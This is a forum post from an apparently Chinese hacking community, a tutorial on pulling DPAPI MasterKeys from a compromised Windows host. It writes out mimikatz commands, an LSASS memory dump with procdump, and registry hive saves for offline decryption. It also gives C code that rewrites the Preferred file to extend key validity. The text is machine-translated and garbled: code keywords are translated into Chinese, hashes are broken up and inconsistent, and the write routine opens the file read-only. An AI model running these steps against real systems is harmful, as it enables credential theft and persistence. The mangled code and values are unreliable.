跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

穿透技巧——在Windows系统下获取DPAPI中的MasterKey


剑道尘心

推荐的帖子

0x00前言

对于Windows系统来说,用户的加密数据大多是通过DPAPI来存储的,如果要解密这些数据方案,就必须获取DPAPI对应的MasterKey。本文将介绍获得Windows系统权限后获取MasterKey的方法,并分析延长MasterKey有效期的首选文件格式。

0x01 简介

本文将介绍以下内容

基本概念

获得主密钥的方法

解析首选文件

修改主密钥过期时间

0x02 基本概念

DPAPI:

数据保护应用程序编程接口的全名

它被广泛用作Windows系统的数据保护接口。

主要用于保护加密数据,常见应用如:

EFS文件加密

存储无线连接密码

Windows凭据管理器

微软公司出品的web浏览器

观点

网络电话

Windows CardSpace

Windows保管库

谷歌浏览器

Master Key:

64字节,用于解密DPAPI blob,用用户登录密码、SID和16字节随机数加密,存储在主密钥文件中。

Master Key file:

二进制文件,可由用户登录密码解密以获得主密钥。

有两种类型:

位于% appdata % \ Microsoft \ protect \ % sid %的用户主密钥文件

主密钥文件,位于% windir % \ system32 \ Microsoft \ protect \ s-1-5-18 \ user中

Preferred文件:

它位于MasterKey文件的同级目录中,显示当前系统正在使用的Master Key及其到期时间。默认有效期为90天。

0x03 获得MasterKey的方法

本节主要介绍通过mimikatz获取MasterKey的方法。

1、在线获取

当前系统中的主密钥可以通过读取Lsass进程信息获得,可以获得多个主密钥文件对应的主密钥。

管理员权限:

权限:调试

sekurlsa:dpapi

如下图

2-1.png

2-2.png

2、离线读取

思路一:

使用procdump转储输出LSASS进程内存。

管理员权限:

procdump.exe-accept EULA-ma lsass.exe lsass . DMP

使用mimikatz加载dmp文件并获取每个主密钥文件对应的主密钥:

sekurlsa:minidump lsass.dmp

sekurlsa:dpapi

思路二:

参考资料:

https://github . com/gentili kiwi/mimikatz/wiki/how to-~-计划任务-凭据

1.复制注册表文件。

管理员权限:

reg拯救HKLM\SYSTEM SystemBkup.hiv

reg拯救HKLM\SECURITY SECURITY.hiv

2.从注册表文件中获取DPAPI_SYSTEM

mimikatz日志' LSA dump:secrets/system:system bkup . HIV/security:security . HIV '

如下图

2-3.png

DPAPI_SYSTEM中的用户哈希是c 2872 cf 6d 4 db 31 c 6 c 8d 33 be 49 b 482 e 78 e 7 ce 3,可用于解密位于% windir % \ system32 \ Microsoft \ protect \ s-1-5-18 \ user下的系统主密钥文件。

3.解密系统主密钥文件以获得主密钥

mimikatz ' DP API:master key/in:C:\ Windows \ System32 \ Microsoft \ Protect \ S-1-5-18 \ User \ 04ece 708-132d-4bf 0-a647-e 3329269 a 012/system:C 2872 cf 6d 6d 4d db 31 C 6 C 8d 33 beb 49 b 482 e 78 e 7 ce 3 '

解密的主密钥是3e 9d 7 f 32 e 57933 EAD 318d 075 EFC 82325697d 87d 992 b 626 a 20 ab 5 f 0 ffba 6 f 073d 282 a 837 b 6 fa 058 ecff 36039 aa 944 e 04 B3 DFB 6666 ebace 44 aad 6 BFF 8789 ca 43

如下图

2-4.png

0x04 解析Preferred文件

它位于主密钥文件的同级目录中,显示系统当前正在使用的主密钥文件及其到期时间。

格式如下:

typedef struct _ tagPreferredMasterKey

{

GUID guidMasterKey

FILETIME ftCreated

} PREFERREDMASTERKEY,* PPREFERREDMASTERKEY

例如c:\ users \ b \ appdata \ roaming \ Microsoft \ protect \ s-1-5-21-2884853959-2080156797-250722187-1002 \ preferred

如下图

3-1.png

前16个字节f6b 011 a 1 D7 B4 c 840 b 536 67 2a 82 88b 958对应于guid。调整格式后对应的文件是A111B 0 F6-B4 D7-40c 8-B536-672 a 8288 b958。

最后8个字节d008 9f7d11ed301对应到期时间。

对于表示时间的FILETIME,格式如下:

typedef struct _FILETIME {

DWORD dwLowDateTime

DWORD dwHighDateTime

} FILETIME,* PFILETIME

如果希望以每日时间格式显示,需要将FILETIME类型转换为SYSTEMTIME类型。

在程序的实现中,还要注意使用sscanf_s函数将字符串转换成DWORD格式。

可供参考的c代码如下:

#包括

int main(void)

{

FILE * fp

无符号字符缓冲区[24];

fopen_s(fp,' Preferred ',' Rb ');

fread(buf,1,24,FP);

printf(' Data:');

for(int I=0;i24我)

{

printf('x',buf[i]);

}

fclose(FP);

printf(' \ nguidmasterkey:xxxx-xx-xx-xx-xxxxxx\n',buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);

char低日期时间[9],高日期时间[9];

sprintf_s(lowdatetime,9,'xxxx',buf[19],buf[18],buf[17],buf[16]);

sprintf_s(highdatetime,9,'xxxx',buf[23],buf[22],buf[21],buf[20]);

printf('dwLowDateTime:%s\n ',lowDateTime);

printf('dwHighDateTime:%s\n ',highDateTime);

文件时间ftUTC

系统时间状态2

sscanf_s(lowDateTime,' %x ',ftutc。dwlowdatetime);

sscanf_s(高日期时间,' %x ',ftutc。dwhighdatetime);

FileTimeToSystemTime(ftUTC,stutc 2);

printf(" ");

printf('到期时间:%d-%d-%d %d:%d:%d\n ',stUTC2.wYear,stUTC2.wMonth,stUTC2.wDay,stUTC2.wHour,stUTC2.wMinute,stUTC2。w秒);

返回0;

}

注:

也可以使用从文件中读读取(同国际组织)国际组织型数据来解决字符串倒序的问题

读取首选的文件,解析出当前系统正在使用的主密钥文件的全局唯一标识符和过期时间

测试如下图

3-2.png

0x05 修改MasterKey失效时间

修改思路:

输入过期时间,将过期时间转为FILETIME格式,替换首选的文件的FILETIME

可供参考的c代码如下:

#包括

int main(void)

{

系统时间ST={ 0 };

FILETIME ft={ 0 };

printf('[]开始更改到期时间.\ n’);

圣怀尔=2019;

圣月=12

st.wDay=30

圣胡尔=12

ST . WM分钟=30

st.wSecond=30

printf("[]新到期时间:%d-%d-%d %d:%d:%d\n ",第一年,第一个月,第一个日,第一个小时,第一分钟,第一秒钟);

SystemTimeToFileTime(st,ft);

printf('dwlowdatetime:x\n',ft.dwlowdatetime);

printf('dwhighdatetime:x\n',ft.dwhighdatetime);

文件* fp

fopen_s(fp,' Preferred ',' Rb ');

fseek(fp,16,SEEK _ SET);

fwrite(ft.dwLowDateTime,sizeof(int),1,FP);

fwrite(ft.dwHighDateTime,sizeof(int),1,FP);

fclose(FP);

printf('[]更改成功. \ n ');

返回0;

}

读取首选的文件,将过期时间设置为2019-12-30 12:30:30

修改后重新读取首选的文件信息,成功修改,如下图

3-3.png

0x06 小结

本文总结了在获得了Windows操作系统操作系统系统的权限后获得万能钥匙的方法,编写程序自动分析首选的文件格式并延长万能钥匙的有效期

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...